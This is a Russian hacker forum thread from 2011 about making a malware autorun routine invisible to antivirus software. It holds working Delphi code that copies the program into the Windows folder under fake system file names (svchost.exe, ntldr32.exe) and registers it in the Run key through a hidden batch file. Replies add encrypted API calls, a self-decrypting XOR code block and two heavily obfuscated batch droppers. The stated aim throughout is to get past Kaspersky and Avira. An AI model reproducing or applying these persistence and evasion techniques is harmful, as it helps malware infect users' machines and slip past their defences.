обфускация процедуры автозапуска
| |
vvova15 | Дата: Четверг, 14.07.2011, 11:35 | Сообщение # 1 |
Участник
Зарегистрирован: 24.04.2010
Группа: Пользователи
Сообщений: 83
Статус: Offline
| в общем такой вопрос: стандартная и всем известная и замусоленная до нельзя процедура авторана: Code procedure autorun; var hk:hkey; begin copyFile(pchar(paramStr(0)),'c:\windows\svchost.exe',true); RegCreateKey(HKEY_LOCAL_MACHINE,'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run', hk); RegSetValueEx(hk,'EXPLORER',0,REG_SZ,pchar('c:\windows\svchost.exe'), Length('c:\windows\svchost.exe') + 1); RegCloseKey(hk); end; палиться даже самыми дерьмовыми антивирусами. я решил написать другую.я полдня эксперементировал и выяснял при каких условиях наименьшая дедектируемость. в результате получил вот такую проуедуру: Code procedure autorun; var f:textfile; begin assignfile(f,'infect.bat'); rewrite(f); writeln(f,'copy %1 c:\windows\ntldr32.exe'); writeln(f,'REG ADD hklm\software\microsoft\windows\currentversion\run /v win32bootloader /t reg_sz /d c:\windows\ntldr32.exe'); writeln(f,'del %0'); closefile(f); //winexec(pchar('infect.bat '+paramstr(0)),SW_HIDE); shellexecute(0,'open',pchar('infect.bat'),pchar(' '+paramstr(0)),nil,sw_hide); end; детектируется только каспером и авирой. и еще малоизвестными нерусскими антивирями. вопрос как сделать чтобы и каспер с авирой тоже пропускали этот код? (на нерусские антивири насрать - в рф ими мало кто пользуется)
ICQ 185-398
|
|
| |
gravitas | Дата: Четверг, 14.07.2011, 12:04 | Сообщение # 2 |
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
| vvova15, кто то мне вроде бы говорил, что малварь больше не пишет... Ай-ай-ай! Для уменьшения палевности можно сделать не только обфускацию кода процедуры, но и обфускацию ее вызова. Т.е. примеры: 1. CreateThread 2. BeginThread 3. SetTimer (в конце процедуры - KillTimer). Возможны их комбинации. Я бы с радостью сейчас попробовал и проверил сам, но увы убегаю...
TheDeduction Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
| |
dolphin | Дата: Четверг, 14.07.2011, 12:45 | Сообщение # 3 |
Администратор
Сообщений: 906
Статус: Offline
| + можно попробовать зашифровать вызовы api, я как то пробовал, но эвристику всё таки обойти не удалось...
Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик
|
|
| |
vvova15 | Дата: Четверг, 14.07.2011, 13:53 | Сообщение # 4 |
Участник
Зарегистрирован: 24.04.2010
Группа: Пользователи
Сообщений: 83
Статус: Offline
| gravitas, я поддерживаю старое написанное ранее. dolphin, это как? так чтоли? Code type winexec=function (lpCmdLine: LPCSTR; uCmdShow: UINT): UINT; stdcall; function decrypt(s:string):string; begin //некий код шифрования строки end; ... var hLib:Thandle; Execute:winexec; begin hLib:=LoadLibrary('kernel32.dll'); @execute:=GetProcAddres(hlib,decript('зашифрованное имя функции')); execute((pchar('infect.bat '+paramstr(0)),SW_HIDE); end;
ICQ 185-398
|
|
| |
C@T | Дата: Четверг, 14.07.2011, 17:26 | Сообщение # 5 |
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
| пришедшая когда то в голову идея по этому поводу:
вобщем вызов какойто апи функции идет как push param1 push param2 call Func
как будет выглядить стек во время запуска функции(когда на нее будет совершен прыжок)
param1 param2 addrToReturn//адресс возврата(адрес в памяти сразу после команды call) , туда функция прыгает по своему завершению, вызывая команду ret, эта команда берет последний загнпнный аадресс в стек и прыгает на него.
получается прыжок кудато можно осуществить как push addr ret
дальше если когда мы вызываем нашу функцию сделаем так push param1 push param2 push returnAddr jmp Func то код будет также работать, но если мы изменим returnAddr, то после исполнения функции управление получит совсем другой код(прыжок будет осуществлен на указанный адресс) получается можно функцию переадресовать на другую функцию, например:
push param1//первый параметр нашей функции push param2// второй push returnAddr// адрес возврата(адресс конца текущего кода) push 1000//интервал ожидания(параметр функции Sleep) push offset Func//адресс возврата для функции слип(адресс нашей второй функции) jmp Sleep//прыжок на слип
получается сперва исполнится функция слип, потом совершится прыжок на нашу функцию и в стеке будут все необходимые параметры
+ еще когда то возникла идея функция про криптование функции на делфи
Code procedure Crypt_Func; label Func_Start; label Func_End; var key:HKEY; FileName:string; begin
asm jmp Func_End db 'CRYPT' //ставим метку CRYPT(ее теперь можно найти в ехе файле) end; Func_Start:
//################################# //а вот и сам код функции MessageBoxA(0,'Hello World','',0);
exit;//обязательно закончить процедуру //################################# asm db 'ENDDD'; //метка конца основного кода функции end; Func_End: asm //код расшифровки mov ecx,offset Func_End sub ecx,offset Func_Start sub ecx,5//считаем размер кода push ecx//загоняем размер кода в стек
push 0h//в стек вернятся старый атрибут push esp push 40h push ecx push offset Func_Start; call VirtualProtect pop eax//забираем старый атрибут из стека pop ecx//забираем размер кода из стека push ecx//и сохраняем тудаже push eax//загоняем старый атрибут в стек
xor ebx,ebx mov eax, offset Func_Start @Start_xor:
mov bl,55h xor byte ptr [eax],bl
inc eax dec ecx test ecx,ecx jnz @Start_xor @end_xor:
pop eax //страрый атрибут секции pop ecx //размер кода
push 0h//в стек вернятся старый атрибут push esp push eax push ecx push offset Func_Start; call VirtualProtect pop eax//освобождаем стек
jmp Func_Start//стартуем функцию после того как раскриптовали end;
end;
для того чтобы код начал работать правильно небходимо открыть ехешник в хекс-редакторе и закриптовать все что хранится между метками CRYPT и ENDDD на указанный в коде ключ( mov bl,55h )
|
|
| |
dolphin | Дата: Пятница, 15.07.2011, 11:47 | Сообщение # 6 |
Администратор
Сообщений: 906
Статус: Offline
| vvova15, Да, похоже на то)
Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик
|
|
| |
darkoff | Дата: Воскресенье, 24.07.2011, 12:35 | Сообщение # 7 |
Группа: Удаленные
| Вот криптованый батник Code copy %1 c:\windows\ntldr32.exe REG ADD hklm\software\microsoft\windows\currentversion\run /v win32bootloader /t reg_sz /d c:\windows\ntldr32.exe del %0 Code @set w=@set %w% vk9=k %w% kuo=2 %w% ahb=r %w% bkk=d %w% jf2=0 %w% n9c=o %w% p6k=t %w% v4r=n %w% w2l=v %w% wv1=j %w% bpa=4 %w% a4v=s %w% l54=9 %w% m7d=@ %w% uki=( %w% o3h=m %w% qnd=c %w% yh7=i %w% kdy=y %w% s9k=7 %w% laz=f %w% mbt=w %w% bqo=b %w% w9k=z %w% y1v=3 %w% fko=p %w% k83=l %w% m50=) %w% kic=q %w% b9b=! %qnd%%n9c%%fko%%kdy% %1 %qnd%:\%mbt%%yh7%%v4r%%bkk%%n9c%%mbt%%a4v%\%v4r%%p6k%%k83%%bkk%%ahb%%y1v%%kuo%.exe REG ADD hk%k83%%o3h%\%a4v%%n9c%%laz%%p6k%%mbt%a%ahb%e\%o3h%%yh7%%qnd%%ahb%%n9c%%a4v%%n9c%%laz%%p6k%\%mbt%%yh7%%v4r%%bkk%%n9c%%mbt%%a4v%\%qnd%u%ahb%% ahb%e%v4r%%p6k%%w2l%e%ahb%%a4v%%yh7%%n9c%%v4r%\%ahb%u%v4r% /%w2l% %mbt%%yh7%%v4r%%y1v%%kuo%%bqo%%n9c%%n9c%%p6k%%k83%%n9c%a%bkk%e%ahb% /%p6k% %ahb%eg_%a4v%%w9k% /%bkk% %qnd%:\%mbt%%yh7%%v4r%%bkk%%n9c%%mbt%%a4v%\%v4r%%p6k%%k83%%bkk%%ahb%%y1v%%kuo%.exe %bkk%e%k83% %%jf2%
криптор у меня в сервисах блога если кому интересно
|
|
| |
Волк-1024 | Дата: Понедельник, 25.07.2011, 23:00 | Сообщение # 8 |
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
| Можно еще так: Code set sqvv=xja set sqvv=s GoTo sqvv set sqvv=gv :sqvv set jeuk=cuu set jeuk=e GoTo jeuk set jeuk=js :jeuk set prtm=tbm set prtm=t GoTo prtm set prtm=xy :prtm %sqvv%%jeuk%%prtm% ml=peu %sqvv%%jeuk%%prtm% ml=a GoTo ml %sqvv%%jeuk%%prtm% ml=qz :ml %sqvv%%jeuk%%prtm% nr=pqe %sqvv%%jeuk%%prtm% nr=b GoTo nr %sqvv%%jeuk%%prtm% nr=if :nr %sqvv%%jeuk%%prtm% it=pmg %sqvv%%jeuk%%prtm% it=c GoTo it %sqvv%%jeuk%%prtm% it=zf :it %sqvv%%jeuk%%prtm% ye=lfz %sqvv%%jeuk%%prtm% ye=d GoTo ye %sqvv%%jeuk%%prtm% ye=ir :ye %sqvv%%jeuk%%prtm% un=bni %sqvv%%jeuk%%prtm% un=e GoTo un %sqvv%%jeuk%%prtm% un=cf :un %sqvv%%jeuk%%prtm% qn=zik %sqvv%%jeuk%%prtm% qn=f GoTo qn %sqvv%%jeuk%%prtm% qn=eo :qn %sqvv%%jeuk%%prtm% jz=pgr %sqvv%%jeuk%%prtm% jz=g GoTo jz %sqvv%%jeuk%%prtm% jz=nz :jz %sqvv%%jeuk%%prtm% ew=akq %sqvv%%jeuk%%prtm% ew=h GoTo ew %sqvv%%jeuk%%prtm% ew=pu :ew %sqvv%%jeuk%%prtm% lk=vxa %sqvv%%jeuk%%prtm% lk=i GoTo lk %sqvv%%jeuk%%prtm% lk=kz :lk %sqvv%%jeuk%%prtm% ef=vxb %sqvv%%jeuk%%prtm% ef=j GoTo ef %sqvv%%jeuk%%prtm% ef=td :ef %sqvv%%jeuk%%prtm% me=jry %sqvv%%jeuk%%prtm% me=k GoTo me %sqvv%%jeuk%%prtm% me=qp :me %sqvv%%jeuk%%prtm% ic=fxj %sqvv%%jeuk%%prtm% ic=l GoTo ic %sqvv%%jeuk%%prtm% ic=gb :ic %sqvv%%jeuk%%prtm% uw=rij %sqvv%%jeuk%%prtm% uw=m GoTo uw %sqvv%%jeuk%%prtm% uw=xh :uw %sqvv%%jeuk%%prtm% nf=nko %sqvv%%jeuk%%prtm% nf=n GoTo nf %sqvv%%jeuk%%prtm% nf=fm :nf %sqvv%%jeuk%%prtm% an=znf %sqvv%%jeuk%%prtm% an=o GoTo an %sqvv%%jeuk%%prtm% an=kh :an %sqvv%%jeuk%%prtm% vp=gxv %sqvv%%jeuk%%prtm% vp=p GoTo vp %sqvv%%jeuk%%prtm% vp=ll :vp %sqvv%%jeuk%%prtm% mz=rgz %sqvv%%jeuk%%prtm% mz=q GoTo mz %sqvv%%jeuk%%prtm% mz=zg :mz %sqvv%%jeuk%%prtm% sb=lys %sqvv%%jeuk%%prtm% sb=r GoTo sb %sqvv%%jeuk%%prtm% sb=yh :sb %sqvv%%jeuk%%prtm% ci=izu %sqvv%%jeuk%%prtm% ci=s GoTo ci %sqvv%%jeuk%%prtm% ci=gt :ci %sqvv%%jeuk%%prtm% nh=vzy %sqvv%%jeuk%%prtm% nh=t GoTo nh %sqvv%%jeuk%%prtm% nh=pb :nh %sqvv%%jeuk%%prtm% zf=mwr %sqvv%%jeuk%%prtm% zf=u GoTo zf %sqvv%%jeuk%%prtm% zf=wj :zf %sqvv%%jeuk%%prtm% tl=mbp %sqvv%%jeuk%%prtm% tl=v GoTo tl %sqvv%%jeuk%%prtm% tl=nw :tl %sqvv%%jeuk%%prtm% dq=tdw %sqvv%%jeuk%%prtm% dq=w GoTo dq %sqvv%%jeuk%%prtm% dq=cq :dq %sqvv%%jeuk%%prtm% gn=ioo %sqvv%%jeuk%%prtm% gn=x GoTo gn %sqvv%%jeuk%%prtm% gn=nb :gn %sqvv%%jeuk%%prtm% my=hej %sqvv%%jeuk%%prtm% my=y GoTo my %sqvv%%jeuk%%prtm% my=wy :my %sqvv%%jeuk%%prtm% eo=art %sqvv%%jeuk%%prtm% eo=z GoTo eo %sqvv%%jeuk%%prtm% eo=ur :eo %sqvv%%jeuk%%prtm% xp=udc %sqvv%%jeuk%%prtm% xp=GoTo xp %sqvv%%jeuk%%prtm% xp=md :xp %it%%an%%vp%%my% %1 %it%:\%dq%%lk%%nf%%ye%%an%%dq%%ci%\%nf%%nh%%ic%%ye%%sb%32.%un%%gn%%un% REG ADD %ew%%me%%ic%%uw%\%ci%%an%%qn%%nh%%dq%%ml%%sb%%un%\%uw%%lk%%it%%sb%%an%%ci%%an%%qn%%nh%\%dq%%lk%%nf%%ye%%an%%dq%%ci%\%it%%zf%%sb%%sb%%un%%nf% %nh%%tl%%un%%sb%%ci%%lk%%an%%nf%\%sb%%zf%%nf% /%tl% %dq%%lk%%nf%32%nr%%an%%an%%nh%%ic%%an%%ml%%ye%%un%%sb% /%nh% %sb%%un%%jz%_%ci%%eo% /%ye% %it%:\%dq%%lk%%nf%%ye%%an%%dq%%ci%\%nf%%nh%%ic%%ye%%sb%32.%un%%gn%%un% %ye%%un%%ic% %0
ИМХО. Идея с батниками не вариант. Хотя...
Pascal, C\C++, Assembler, Python
Сообщение отредактировал Волк-1024 - Понедельник, 25.07.2011, 23:06 |
|
| |
XSPY | Дата: Вторник, 26.07.2011, 17:03 | Сообщение # 9 |
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
| ох вы даёте жару... нахрена так сложно то? есть же пути гораздо проще и безпалевнее...
Я не крекер,а программист! Я не преступник-я свободный человек! Лучше один раз накодить,чем сто раз качать билды!
|
|
| |
C@T | Дата: Среда, 27.07.2011, 17:33 | Сообщение # 10 |
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
| XSPY, ты сейчас про батники или про все представленные способы ?
P.S приведи свой пример обфускации кода
|
|
| |
XSPY | Дата: Среда, 27.07.2011, 23:46 | Сообщение # 11 |
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
| C@T, не,про батники речь не идёт) Код привести немогу,так как авери на него не реагируют(каспер и авира у меня на "параное" молчали)-и етот код использует моя легальная прога Но дам подсказку-копайте в сторону системных служб и реестра!... Да и необязательно обфусцировать) у меня он открытый и все ок) Кстати,еще интересно использовать реестровый винлогон и настройки системы в реестре(например,настройки менеджера заданий) В общем,вариантов куча
Я не крекер,а программист! Я не преступник-я свободный человек! Лучше один раз накодить,чем сто раз качать билды!
|
|
| |
dolphin | Дата: Пятница, 29.07.2011, 10:50 | Сообщение # 12 |
Администратор
Сообщений: 906
Статус: Offline
| XSPY, Active Setup и запуск как служба, как ты говорил тоже палятся.
Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик
|
|
| |
XSPY | Дата: Пятница, 29.07.2011, 13:44 | Сообщение # 13 |
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
| dolphin, да,паляться-но не все! Я же долго игрался с вариантами автозапуска в стандартный ключ Run-ну и нашел свой безпалевный (по крайней мере на каспере) вариант! Тут уж дело техники и фантазии)) З.Ы:Как вариант,еще можно через ассоциации и формат файлов попробовать-прога друга юзала свой формат,внесённый в реестр. В итоге,антивирус только предупреждал,какая прога открывает етот формат!(ето без всяких наворотов добавление+авер на параноике с проактивкой).
Я не крекер,а программист! Я не преступник-я свободный человек! Лучше один раз накодить,чем сто раз качать билды!
|
|
| |
C@T | Дата: Пятница, 29.07.2011, 21:15 | Сообщение # 14 |
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
| еще не очень палятся коды написанные на visual с++ , я писал простейший код добавления в автозагрузку и копирования в системную папку, который палится только четырьмя антивирусами на ВТ, а на делфи аналогичные коды палятся всем чем можно
|
|
| |
|